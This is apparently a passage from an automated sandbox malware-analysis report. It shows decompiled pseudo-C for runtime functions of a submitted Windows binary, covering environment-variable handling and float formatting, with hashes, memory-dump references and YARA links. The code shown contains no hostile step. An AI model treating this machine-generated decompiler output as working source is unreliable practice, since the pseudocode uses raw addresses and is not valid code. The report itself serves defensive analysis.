                                                                                                                              • String ID: e+000$gfff
                                                                                                                              • API String ID: 0-3030954782
                                                                                                                              • Opcode ID: 69481fe4f111be00886c661759b1faae83355af89cf0cd3651ba7caa758a580e
                                                                                                                              • Instruction ID: b53d6bcd725f58f41a2ce26aeb4a6fb44fb4f73b27360e246d17bb81ea1c66c5
                                                                                                                              • Opcode Fuzzy Hash: 69481fe4f111be00886c661759b1faae83355af89cf0cd3651ba7caa758a580e
                                                                                                                              • Instruction Fuzzy Hash: DC515923F182C58AF7269A35980076DFB91F754B94FC88272CE984BAC2CE3ED5558710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EF958 Relevance: 2.0, APIs: 1, Instructions: 461COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 84%
                                                                                                                              			E00007FF77FF7DA8EF958(void* __ecx, intOrPtr __edx, void* __ebp, signed long long __rax, long long __rbx, signed long long __rcx, void* __rdx, void* __r9, signed char _a8, intOrPtr _a16, long long _a24) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t40;
				void* _t42;
				void* _t46;
				void* _t48;
				void* _t50;
				intOrPtr _t76;
				void* _t84;
				void* _t87;
				void* _t89;
				void* _t92;
				void* _t93;
				signed long long _t114;
				intOrPtr _t116;
				signed long long _t118;
				intOrPtr* _t121;
				intOrPtr* _t124;
				signed long long _t130;
				signed long long _t132;
				signed long long _t133;
				void* _t159;
				long long _t164;
				signed long long _t165;
				signed long long _t166;
				void* _t174;
				void* _t175;
				void* _t177;
				signed long long _t178;
				signed long long _t179;
				signed long long _t181;
				signed long long _t183;
				intOrPtr* _t184;
				long long _t188;

				_t123 = __rbx;
				_t114 = __rax;
				_a24 = __rbx;
				_a16 = __edx;
				_t188 = __rcx;
				if (__rcx != 0) goto 0xda8ef98c;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				goto 0xda8efc7f;
				E00007FF77FF7DA8DC4F8(__ecx, 0x3d, __rcx, __rcx, __rdx, __r9);
				_t178 = _t114;
				if (_t114 == 0) goto 0xda8efc6c;
				if (_t114 == __rcx) goto 0xda8efc6c;
				_t179 =  *0xda91c9a0; // 0x0
				_t84 = _t179 -  *0xda91c9b8; // 0x0
				bpl =  *(_t114 + 1);
				_a8 = bpl;
				if (_t84 != 0) goto 0xda8ef9d9;
				E00007FF77FF7DA8F0014(__rbx, _t179, __rcx, _t164);
				 *0xda91c9a0 = _t114;
				r12d = 1;
				if (_t114 != 0) goto 0xda8efab2;
				if (__edx == 0) goto 0xda8efa41;
				_t87 =  *0xda91c9a8 - _t164; // 0x25976dbfe10
				if (_t87 == 0) goto 0xda8efa41;
				E00007FF77FF7DA8E8468(_t179, __rcx, _t164);
				if (_t114 != 0) goto 0xda8efa1d;
				E00007FF77FF7DA8E4394(_t114);
				 *_t114 = 0x16;
				_t166 = _t165 | 0xffffffff;
				E00007FF77FF7DA8E9D68(_t114, __rcx);
				goto 0xda8efc83;
				_t181 =  *0xda91c9a0; // 0x0
				_t89 = _t181 -  *0xda91c9b8; // 0x0
				if (_t89 != 0) goto 0xda8efaa9;
				_t40 = E00007FF77FF7DA8F0014(_t123, _t181, __rcx, _t164);
				 *0xda91c9a0 = _t114;
				goto 0xda8efaa9;
				if (bpl == 0) goto 0xda8efb62;
				E00007FF77FF7DA8EDC90(_t40, _t175, __rdx);
				 *0xda91c9a0 = _t114;
				_t42 = E00007FF77FF7DA8E9D68(_t114, _t175);
				_t183 =  *0xda91c9a0; // 0x0
				if (_t183 == 0) goto 0xda8efa0a;
				_t92 =  *0xda91c9a8 - _t164; // 0x25976dbfe10
				if (_t92 != 0) goto 0xda8efaa9;
				E00007FF77FF7DA8EDC90(_t42, _t175, __rdx);
				 *0xda91c9a8 = _t114;
				E00007FF77FF7DA8E9D68(_t114, _t175);
				_t93 =  *0xda91c9a8 - _t164; // 0x25976dbfe10
				if (_t93 == 0) goto 0xda8efa0a;
				_t184 =  *0xda91c9a0; // 0x0
				if (_t184 == 0) goto 0xda8efa0a;
				_t177 = _t178 - __rcx;
				_t124 = _t184;
				if ( *_t184 == 0) goto 0xda8efaf7;
				if (E00007FF77FF7DA8F63FC(_t76, _t124, __rcx,  *_t184, _t164, _t166, _t177, __r9) != 0) goto 0xda8efae5;
				_t116 =  *_t124;
				if ( *((char*)(_t177 + _t116)) == 0x3d) goto 0xda8efaee;
				if ( *((intOrPtr*)(_t177 + _t116)) == sil) goto 0xda8efaee;
				goto 0xda8efabe;
				goto 0xda8efb01;
				_t130 =  ~((_t124 + 8 - _t184 >> 3) - _t184 >> 3);
				if (_t130 < 0) goto 0xda8efb5d;
				if ( *_t184 == _t164) goto 0xda8efb5d;
				_t46 = E00007FF77FF7DA8E9D68( *((intOrPtr*)(_t124 + 8)),  *(_t184 + _t130 * 8));
				if (bpl == 0) goto 0xda8efb2e;
				 *(_t184 + _t130 * 8) = __rcx;
				goto 0xda8efbbd;
				_t118 =  *((intOrPtr*)(_t184 + 8 + _t130 * 8));
				 *(_t184 + _t130 * 8) = _t118;
				if ( *((intOrPtr*)(_t184 + (_t130 + 1) * 8)) != _t164) goto 0xda8efb22;
				r8d = 8;
				E00007FF77FF7DA8F244C(_t46, _t130 + 1, _t184, _t130 + 1, _t164, _t166, _t177);
				_t132 = _t118;
				_t48 = E00007FF77FF7DA8E9D68(_t118, _t184);
				if (_t132 == 0) goto 0xda8efbc0;
				 *0xda91c9a0 = _t132;
				goto 0xda8efbc0;
				if (bpl != 0) goto 0xda8efb69;
				goto 0xda8efa0e;
				_t133 =  ~_t132;
				_t18 = _t133 + 2; // 0x2
				_t159 = _t18;
				if (_t159 - _t133 < 0) goto 0xda8efa0a;
				if (_t159 - 0xffffffff >= 0) goto 0xda8efa0a;
				r8d = 8;
				E00007FF77FF7DA8F244C(_t48, _t133, _t184, _t159, _t164, _t166, _t177);
				_t50 = E00007FF77FF7DA8E9D68(0xffffffff, _t184);
				if (0xffffffff == 0) goto 0xda8efa0a;
				 *((long long*)(0xffffffff + _t133 * 8)) = _t188;
				 *((long long*)(0xffffffff + 8 + _t133 * 8)) = _t164;
				 *0xda91c9a0 = 0xffffffff;
				if (_a16 == 0) goto 0xda8efc60;
				_t187 = (_t166 | 0xffffffff) + 1;
				if ( *((intOrPtr*)(_t188 + (_t166 | 0xffffffff) + 1)) != sil) goto 0xda8efbd1;
				E00007FF77FF7DA8EDC90(_t50, (_t166 | 0xffffffff) + 3, _t159);
				if (0xffffffff != 0) goto 0xda8efbf9;
				E00007FF77FF7DA8E9D68(0xffffffff, (_t166 | 0xffffffff) + 3);
				goto 0xda8efc4c;
				if (E00007FF77FF7DA8E90FC(0xffffffff, 0xffffffff, _t187 + 2, _t188) != 0) goto 0xda8efc9b;
				_t28 = _t178 + 1; // 0x1
				_t121 = 0xffffffff - _t188;
				_a8 =  ~_a8;
				asm("dec eax");
				 *((intOrPtr*)(_t121 + _t178)) = sil;
				if (E00007FF77FF7DA8F6514(0, E00007FF77FF7DA8E90FC(0xffffffff, 0xffffffff, _t187 + 2, _t188), 0xffffffff, 0xffffffff, _t187 + 0x00000002 & _t28 + _t121, _t164, _t164, _t188, __r9, _t174) != 0) goto 0xda8efc58;
				E00007FF77FF7DA8E4394(_t121);
				 *_t121 = 0x2a;
				E00007FF77FF7DA8E9D68(_t121, 0xffffffff);
				E00007FF77FF7DA8E9D68(_t121, _t164);
				goto 0xda8efc83;
				E00007FF77FF7DA8E9D68(_t121, 0xffffffff);
				E00007FF77FF7DA8E9D68(_t121, _t164);
				goto 0xda8efc83;
				E00007FF77FF7DA8E4394(_t121);
				 *_t121 = 0x16;
				return E00007FF77FF7DA8E9D68(_t121, _t188);
			}






































                                                                                                                              0x7ff7da8ef958
                                                                                                                              0x7ff7da8ef958
                                                                                                                              0x7ff7da8ef958
                                                                                                                              0x7ff7da8ef95d
                                                                                                                              0x7ff7da8ef974
                                                                                                                              0x7ff7da8ef97a
                                                                                                                              0x7ff7da8ef97c
                                                                                                                              0x7ff7da8ef981
                                                                                                                              0x7ff7da8ef987
                                                                                                                              0x7ff7da8ef994
                                                                                                                              0x7ff7da8ef999
                                                                                                                              0x7ff7da8ef99f
                                                                                                                              0x7ff7da8ef9a8
                                                                                                                              0x7ff7da8ef9ae
                                                                                                                              0x7ff7da8ef9b5
                                                                                                                              0x7ff7da8ef9bc
                                                                                                                              0x7ff7da8ef9c0
                                                                                                                              0x7ff7da8ef9c5
                                                                                                                              0x7ff7da8ef9ca
                                                                                                                              0x7ff7da8ef9d2
                                                                                                                              0x7ff7da8ef9d9
                                                                                                                              0x7ff7da8ef9e2
                                                                                                                              0x7ff7da8ef9ea
                                                                                                                              0x7ff7da8ef9ec
                                                                                                                              0x7ff7da8ef9f3
                                                                                                                              0x7ff7da8ef9f5
                                                                                                                              0x7ff7da8ef9fd
                                                                                                                              0x7ff7da8ef9ff
                                                                                                                              0x7ff7da8efa04
                                                                                                                              0x7ff7da8efa0a
                                                                                                                              0x7ff7da8efa11
                                                                                                                              0x7ff7da8efa18
                                                                                                                              0x7ff7da8efa1d
                                                                                                                              0x7ff7da8efa24
                                                                                                                              0x7ff7da8efa2b
                                                                                                                              0x7ff7da8efa30
                                                                                                                              0x7ff7da8efa38
                                                                                                                              0x7ff7da8efa3f
                                                                                                                              0x7ff7da8efa44
                                                                                                                              0x7ff7da8efa52
                                                                                                                              0x7ff7da8efa59
                                                                                                                              0x7ff7da8efa60
                                                                                                                              0x7ff7da8efa65
                                                                                                                              0x7ff7da8efa6f
                                                                                                                              0x7ff7da8efa71
                                                                                                                              0x7ff7da8efa78
                                                                                                                              0x7ff7da8efa82
                                                                                                                              0x7ff7da8efa89
                                                                                                                              0x7ff7da8efa90
                                                                                                                              0x7ff7da8efa95
                                                                                                                              0x7ff7da8efa9c
                                                                                                                              0x7ff7da8efaa2
                                                                                                                              0x7ff7da8efaac
                                                                                                                              0x7ff7da8efab8
                                                                                                                              0x7ff7da8efabb
                                                                                                                              0x7ff7da8efac1
                                                                                                                              0x7ff7da8efad3
                                                                                                                              0x7ff7da8efad5
                                                                                                                              0x7ff7da8efadd
                                                                                                                              0x7ff7da8efae3
                                                                                                                              0x7ff7da8efaec
                                                                                                                              0x7ff7da8efaf5
                                                                                                                              0x7ff7da8efafe
                                                                                                                              0x7ff7da8efb04
                                                                                                                              0x7ff7da8efb09
                                                                                                                              0x7ff7da8efb0f
                                                                                                                              0x7ff7da8efb17
                                                                                                                              0x7ff7da8efb19
                                                                                                                              0x7ff7da8efb1d
                                                                                                                              0x7ff7da8efb22
                                                                                                                              0x7ff7da8efb27
                                                                                                                              0x7ff7da8efb32
                                                                                                                              0x7ff7da8efb34
                                                                                                                              0x7ff7da8efb40
                                                                                                                              0x7ff7da8efb47
                                                                                                                              0x7ff7da8efb4a
                                                                                                                              0x7ff7da8efb52
                                                                                                                              0x7ff7da8efb54
                                                                                                                              0x7ff7da8efb5b
                                                                                                                              0x7ff7da8efb60
                                                                                                                              0x7ff7da8efb64
                                                                                                                              0x7ff7da8efb69
                                                                                                                              0x7ff7da8efb6c
                                                                                                                              0x7ff7da8efb6c
                                                                                                                              0x7ff7da8efb73
                                                                                                                              0x7ff7da8efb86
                                                                                                                              0x7ff7da8efb8c
                                                                                                                              0x7ff7da8efb95
                                                                                                                              0x7ff7da8efb9f
                                                                                                                              0x7ff7da8efba7
                                                                                                                              0x7ff7da8efbad
                                                                                                                              0x7ff7da8efbb1
                                                                                                                              0x7ff7da8efbb6
                                                                                                                              0x7ff7da8efbc4
                                                                                                                              0x7ff7da8efbd1
                                                                                                                              0x7ff7da8efbd8
                                                                                                                              0x7ff7da8efbe3
                                                                                                                              0x7ff7da8efbee
                                                                                                                              0x7ff7da8efbf2
                                                                                                                              0x7ff7da8efbf7
                                                                                                                              0x7ff7da8efc0a
                                                                                                                              0x7ff7da8efc13
                                                                                                                              0x7ff7da8efc17
                                                                                                                              0x7ff7da8efc1d
                                                                                                                              0x7ff7da8efc21
                                                                                                                              0x7ff7da8efc24
                                                                                                                              0x7ff7da8efc35
                                                                                                                              0x7ff7da8efc37
                                                                                                                              0x7ff7da8efc3f
                                                                                                                              0x7ff7da8efc45
                                                                                                                              0x7ff7da8efc4f
                                                                                                                              0x7ff7da8efc56
                                                                                                                              0x7ff7da8efc5b
                                                                                                                              0x7ff7da8efc63
                                                                                                                              0x7ff7da8efc6a
                                                                                                                              0x7ff7da8efc6c
                                                                                                                              0x7ff7da8efc74
                                                                                                                              0x7ff7da8efc9a

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CurrentFeaturePresentProcessProcessor
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1010374628-0
                                                                                                                              • Opcode ID: 1d1df7195208df727aac1a32923dc7e4c26c7017fe0bf3fe916d96511d66b1a7
                                                                                                                              • Instruction ID: d25cdb6b2eae66c9ea8bb0b294de3fa986dc6bc866ddab4e40d6b06d2ae44be9
                                                                                                                              • Opcode Fuzzy Hash: 1d1df7195208df727aac1a32923dc7e4c26c7017fe0bf3fe916d96511d66b1a7
                                                                                                                              • Instruction Fuzzy Hash: AD029221B0A653C4FA62BB11D40027DEA84BF61B94FC445B7DD5D8A2D3DE7EEA218330
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8ECB54 Relevance: 1.5, Strings: 1, Instructions: 254COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 65%
                                                                                                                              			E00007FF77FF7DA8ECB54(void* __rax, long long __rbx, unsigned int* __rcx, signed int* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r9, long long __r11, long long _a8, long long _a24, long long _a32, char* _a40, intOrPtr _a48, signed int _a56, intOrPtr _a64, intOrPtr _a72, long long _a80) {
				void* _v40;
				long long _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				signed int _v72;
				signed long long _v80;
				long long _v88;
				void* __rdi;
				intOrPtr _t80;
				void* _t81;
				void* _t83;
				char _t110;
				signed long long _t119;
				signed int _t120;
				void* _t137;
				char* _t156;
				unsigned long long _t168;
				char* _t182;
				char* _t183;
				intOrPtr _t184;
				signed long long _t187;
				char* _t193;
				char* _t194;
				void* _t198;
				void* _t199;
				signed int* _t202;
				signed long long _t206;
				signed long long _t209;
				void* _t212;
				char* _t214;
				void* _t215;
				signed int* _t217;
				signed int* _t226;
				signed int* _t227;
				signed int* _t228;
				signed int* _t234;
				long long _t238;
				intOrPtr* _t240;
				unsigned int* _t241;
				void* _t242;

				_t238 = __r11;
				_t224 = __r8;
				_t219 = __rbp;
				_t213 = __rsi;
				_t202 = __rdx;
				_a8 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				r11d = 0;
				 *__rdx = r11b;
				_t119 =  >=  ? _a48 : r11d;
				_t182 = __rdx;
				_t241 = __rcx;
				_t5 = _t212 + 0xb; // 0xb
				if (__r8 - _t5 > 0) goto 0xda8ecbcc;
				_t187 = _a80;
				_t7 = _t238 + 0x22; // 0x22
				_v80 = _t187;
				r9d = 0;
				r8d = 0;
				_v88 = __r11;
				 *((char*)(_t187 + 0x30)) = 1;
				 *((intOrPtr*)(_t187 + 0x2c)) = _t7;
				E00007FF77FF7DA8E9C34(__rax, __rdx, _t187, __rdx, __rsi, __rbp, __r8);
				goto 0xda8ececd;
				if (( *_t187 >> 0x00000034 & _t187) != _t187) goto 0xda8ecc65;
				_t231 = __r9;
				_v48 = _a80;
				_v56 = _a72;
				_v64 = _a64;
				_t156 = _a40;
				_v72 = r11b;
				_v80 = _t119;
				_v88 = _t156;
				if (E00007FF77FF7DA8ECEEC(_t182, _t241, _t202, _t212, _t213, _t224, __r9) == 0) goto 0xda8ecc34;
				 *_t182 = 0;
				goto 0xda8ececd;
				E00007FF77FF7DA8DC578(_t73, _t7, 0x65, _t156, _t182, _t182, _t231);
				if (_t156 == 0) goto 0xda8ececb;
				 *_t156 = ((_a56 ^ 0x00000001) << 5) + 0x50;
				 *((char*)(_t156 + 3)) = 0;
				goto 0xda8ececb;
				if ( *_t241 - _t238 >= 0) goto 0xda8ecc74;
				 *_t202 = 0x2d;
				_t183 = _t182 + 1;
				_t240 = _t183 + 1;
				r15d = 0x3ff;
				r13d = (_a56 ^ 0x00000001) & 0x000000ff;
				r8d = 0x30;
				if (( *_t241 & 0x00000000) != 0) goto 0xda8ecccb;
				 *_t183 = r8b;
				asm("dec ebp");
				r15d = r15d & 0x000003fe;
				goto 0xda8eccce;
				 *_t183 = 0x31;
				_t214 = _t240 + 1;
				if (_t119 != 0) goto 0xda8eccdc;
				goto 0xda8ecd13;
				_t184 = _a80;
				if ( *((intOrPtr*)(_t184 + 0x28)) != r11b) goto 0xda8ecd03;
				E00007FF77FF7DA8E3970( ~( *_t241 & 0xffffffff), _t184, _t184, _t214);
				r11d = 0;
				_t31 = _t238 + 0x30; // 0x30
				r8d = _t31;
				_t80 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t184 + 0x18)) + 0xf8))))));
				 *_t240 = _t80;
				if (( *_t241 & 0xffffffff) <= 0) goto 0xda8ecdaa;
				if (_t119 <= 0) goto 0xda8ecd61;
				_t81 = _t80 + r8w;
				_t137 = _t81 - 0x39;
				if (_t137 <= 0) goto 0xda8ecd4e;
				 *_t214 = _t81 + (r13d << 5) + 7;
				_t120 = _t119 - 1;
				_t215 = _t214 + 1;
				if (_t137 >= 0) goto 0xda8ecd2e;
				goto 0xda8ecdaa;
				r9d = _a72;
				r8d = r8w & 0xffff;
				_t83 = E00007FF77FF7DA8ED550(_t81 + (r13d << 5) + 7, _t7, _t184, _t241, 0 >> 4, _t212, _t215, _t219);
				r11d = 0;
				if (_t83 == 0) goto 0xda8ecdcb;
				_t193 = _t215 - 1;
				_t110 =  *_t193;
				if (0x47 != 0) goto 0xda8ecd94;
				 *_t193 = 0x30;
				_t194 = _t193 - 1;
				goto 0xda8ecd83;
				if (_t194 == _t240) goto 0xda8ecda7;
				if (_t110 != 0x39) goto 0xda8ecda1;
				 *_t194 = _t110 + bpl + 1;
				goto 0xda8ecdaa;
				 *((char*)(_t194 - 1)) =  *((char*)(_t194 - 1)) + 1;
				if (_t120 <= 0) goto 0xda8ecdcb;
				r8d = _t120;
				E00007FF77FF7DA8DC170();
				r11d = 0;
				goto 0xda8ecdd0;
				_t217 =  ==  ? _t240 : _t215 + _t184;
				r13b = r13b << 5;
				r13b = r13b + 0x50;
				 *_t217 = r13b;
				_t234 =  &(_t217[0]);
				_t168 =  *_t241 >> 0x34;
				if ( *_t240 - r11b >= 0) goto 0xda8ece03;
				_t198 = _t242 - _t168;
				_t44 = _t168 + 2; // 0x2d
				_t87 =  <  ? _t44 : 0x2b;
				_t217[0] =  <  ? _t44 : 0x2b;
				 *_t234 = dil;
				if (_t198 - 0x3e8 < 0) goto 0xda8ece57;
				_t226 =  &(_t234[0]);
				_t206 = (_t215 - _t242 >> 7) + (_t215 - _t242 >> 7 >> 0x3f);
				 *_t234 = _t212 + _t206;
				_t199 = _t198 + _t206 * 0xfffffc18;
				if (_t226 != _t234) goto 0xda8ece5d;
				if (_t199 - 0x64 < 0) goto 0xda8ece90;
				_t209 = (_t206 + _t199 >> 6) + (_t206 + _t199 >> 6 >> 0x3f);
				 *_t226 = _t212 + _t209;
				_t227 =  &(_t226[0]);
				if (_t227 != _t234) goto 0xda8ece96;
				if (_t199 + _t209 * 0xffffff9c - 0xa < 0) goto 0xda8ecec1;
				 *_t227 = _t212 + (_t209 >> 2) + (_t209 >> 2 >> 0x3f);
				_t228 =  &(_t227[0]);
				 *_t228 = 0x367 + dil;
				_t228[0] = r11b;
				return 0;
			}











































                                                                                                                              0x7ff7da8ecb54
                                                                                                                              0x7ff7da8ecb54
                                                                                                                              0x7ff7da8ecb54
                                                                                                                              0x7ff7da8ecb54
                                                                                                                              0x7ff7da8ecb54
                                                                                                                              0x7ff7da8ecb54
                                                                                                                              0x7ff7da8ecb59
                                                                                                                              0x7ff7da8ecb5e
                                                                                                                              0x7ff7da8ecb77
                                                                                                                              0x7ff7da8ecb7c
                                                                                                                              0x7ff7da8ecb85
                                                                                                                              0x7ff7da8ecb88
                                                                                                                              0x7ff7da8ecb8b
                                                                                                                              0x7ff7da8ecb8e
                                                                                                                              0x7ff7da8ecb97
                                                                                                                              0x7ff7da8ecb99
                                                                                                                              0x7ff7da8ecba1
                                                                                                                              0x7ff7da8ecba5
                                                                                                                              0x7ff7da8ecbaa
                                                                                                                              0x7ff7da8ecbad
                                                                                                                              0x7ff7da8ecbb0
                                                                                                                              0x7ff7da8ecbb7
                                                                                                                              0x7ff7da8ecbbb
                                                                                                                              0x7ff7da8ecbc0
                                                                                                                              0x7ff7da8ecbc7
                                                                                                                              0x7ff7da8ecbde
                                                                                                                              0x7ff7da8ecbec
                                                                                                                              0x7ff7da8ecbef
                                                                                                                              0x7ff7da8ecbfe
                                                                                                                              0x7ff7da8ecc09
                                                                                                                              0x7ff7da8ecc0d
                                                                                                                              0x7ff7da8ecc15
                                                                                                                              0x7ff7da8ecc1a
                                                                                                                              0x7ff7da8ecc1e
                                                                                                                              0x7ff7da8ecc2a
                                                                                                                              0x7ff7da8ecc2c
                                                                                                                              0x7ff7da8ecc2f
                                                                                                                              0x7ff7da8ecc3c
                                                                                                                              0x7ff7da8ecc44
                                                                                                                              0x7ff7da8ecc5a
                                                                                                                              0x7ff7da8ecc5c
                                                                                                                              0x7ff7da8ecc60
                                                                                                                              0x7ff7da8ecc6d
                                                                                                                              0x7ff7da8ecc6f
                                                                                                                              0x7ff7da8ecc71
                                                                                                                              0x7ff7da8ecc7b
                                                                                                                              0x7ff7da8ecc81
                                                                                                                              0x7ff7da8ecc87
                                                                                                                              0x7ff7da8ecc8b
                                                                                                                              0x7ff7da8eccb1
                                                                                                                              0x7ff7da8eccb3
                                                                                                                              0x7ff7da8eccbf
                                                                                                                              0x7ff7da8eccc2
                                                                                                                              0x7ff7da8eccc9
                                                                                                                              0x7ff7da8ecccb
                                                                                                                              0x7ff7da8eccce
                                                                                                                              0x7ff7da8eccd5
                                                                                                                              0x7ff7da8eccda
                                                                                                                              0x7ff7da8eccdc
                                                                                                                              0x7ff7da8ecce8
                                                                                                                              0x7ff7da8ecced
                                                                                                                              0x7ff7da8eccf2
                                                                                                                              0x7ff7da8eccff
                                                                                                                              0x7ff7da8eccff
                                                                                                                              0x7ff7da8ecd11
                                                                                                                              0x7ff7da8ecd13
                                                                                                                              0x7ff7da8ecd1a
                                                                                                                              0x7ff7da8ecd33
                                                                                                                              0x7ff7da8ecd41
                                                                                                                              0x7ff7da8ecd45
                                                                                                                              0x7ff7da8ecd49
                                                                                                                              0x7ff7da8ecd4e
                                                                                                                              0x7ff7da8ecd50
                                                                                                                              0x7ff7da8ecd52
                                                                                                                              0x7ff7da8ecd5d
                                                                                                                              0x7ff7da8ecd5f
                                                                                                                              0x7ff7da8ecd61
                                                                                                                              0x7ff7da8ecd69
                                                                                                                              0x7ff7da8ecd73
                                                                                                                              0x7ff7da8ecd78
                                                                                                                              0x7ff7da8ecd7d
                                                                                                                              0x7ff7da8ecd7f
                                                                                                                              0x7ff7da8ecd83
                                                                                                                              0x7ff7da8ecd8a
                                                                                                                              0x7ff7da8ecd8c
                                                                                                                              0x7ff7da8ecd8f
                                                                                                                              0x7ff7da8ecd92
                                                                                                                              0x7ff7da8ecd97
                                                                                                                              0x7ff7da8ecd9c
                                                                                                                              0x7ff7da8ecda3
                                                                                                                              0x7ff7da8ecda5
                                                                                                                              0x7ff7da8ecda7
                                                                                                                              0x7ff7da8ecdac
                                                                                                                              0x7ff7da8ecdae
                                                                                                                              0x7ff7da8ecdbe
                                                                                                                              0x7ff7da8ecdc6
                                                                                                                              0x7ff7da8ecdc9
                                                                                                                              0x7ff7da8ecdd4
                                                                                                                              0x7ff7da8ecdd8
                                                                                                                              0x7ff7da8ecddc
                                                                                                                              0x7ff7da8ecde0
                                                                                                                              0x7ff7da8ecde3
                                                                                                                              0x7ff7da8ecdea
                                                                                                                              0x7ff7da8ecdfb
                                                                                                                              0x7ff7da8ece00
                                                                                                                              0x7ff7da8ece0e
                                                                                                                              0x7ff7da8ece11
                                                                                                                              0x7ff7da8ece14
                                                                                                                              0x7ff7da8ece17
                                                                                                                              0x7ff7da8ece21
                                                                                                                              0x7ff7da8ece2d
                                                                                                                              0x7ff7da8ece3f
                                                                                                                              0x7ff7da8ece45
                                                                                                                              0x7ff7da8ece4f
                                                                                                                              0x7ff7da8ece55
                                                                                                                              0x7ff7da8ece5b
                                                                                                                              0x7ff7da8ece78
                                                                                                                              0x7ff7da8ece7e
                                                                                                                              0x7ff7da8ece81
                                                                                                                              0x7ff7da8ece8e
                                                                                                                              0x7ff7da8ece94
                                                                                                                              0x7ff7da8eceb4
                                                                                                                              0x7ff7da8eceb7
                                                                                                                              0x7ff7da8ecec4
                                                                                                                              0x7ff7da8ecec7
                                                                                                                              0x7ff7da8eceea

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: gfffffff
                                                                                                                              • API String ID: 0-1523873471
                                                                                                                              • Opcode ID: cf9e926bd06e6296f4aba0f07622bacccd0840f3ce88d9759f2d176c501fd3f5
                                                                                                                              • Instruction ID: 24f9bc7b72fdf4e1bfa30bb705795effdb9d1efe5f076c3777cbce4eec9fba03
                                                                                                                              • Opcode Fuzzy Hash: cf9e926bd06e6296f4aba0f07622bacccd0840f3ce88d9759f2d176c501fd3f5
                                                                                                                              • Instruction Fuzzy Hash: AEA137A3F087C686FB22DB2590007ADBB91FB61B84F848172DE4D47786DA3ED621C751
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E6EE8 Relevance: 1.4, Strings: 1, Instructions: 177COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 80%
                                                                                                                              			E00007FF77FF7DA8E6EE8(long long __rbx, void* __rcx, void* __rdx, long long __rsi) {
				void* _t14;
				void* _t22;
				intOrPtr* _t53;
				signed long long _t55;
				void* _t72;
				long long _t85;
				intOrPtr* _t89;
				void* _t93;
				void* _t94;
				long long _t96;
				signed long long _t98;
				signed long long _t99;
				void* _t101;

				_t71 = __rdx;
				_t53 = _t89;
				 *((long long*)(_t53 + 0x10)) = __rbx;
				 *((long long*)(_t53 + 0x18)) = _t85;
				 *((long long*)(_t53 + 0x20)) = __rsi;
				_t94 = __rdx;
				r13d = 0;
				 *((long long*)(_t53 + 8)) = _t96;
				_t14 = E00007FF77FF7DA8F05E8();
				if (_t14 == 0) goto 0xda8e6f35;
				if (_t14 == 0x16) goto 0xda8e70f1;
				goto 0xda8e6f8a;
				if ( *((intOrPtr*)(_t89 - 0x30 + 0x60)) == 0) goto 0xda8e6f8a;
				if (E00007FF77FF7DA8F0688(0,  *((intOrPtr*)(_t89 - 0x30 + 0x60))) != 0) goto 0xda8e6f58;
				_t58 = _t96;
				goto 0xda8e6fc1;
				E00007FF77FF7DA8E7210(_t96, _t96, __rdx,  *((intOrPtr*)(_t89 - 0x30 + 0x60)), _t101);
				if (_t53 == 0) goto 0xda8e6f82;
				if (E00007FF77FF7DA8F0688(0, _t53) != 0) goto 0xda8e6f82;
				E00007FF77FF7DA8E9D68(_t53, _t53);
				goto 0xda8e6fc1;
				E00007FF77FF7DA8E9D68(_t53, _t53);
				if (_t53 == 0) goto 0xda8e6fa2;
				if (E00007FF77FF7DA8F0688(0, _t53) != 0) goto 0xda8e6fa2;
				goto 0xda8e6fbe;
				if (E00007FF77FF7DA8F0688(0, 0xda901824) == 0) goto 0xda8e6fbe;
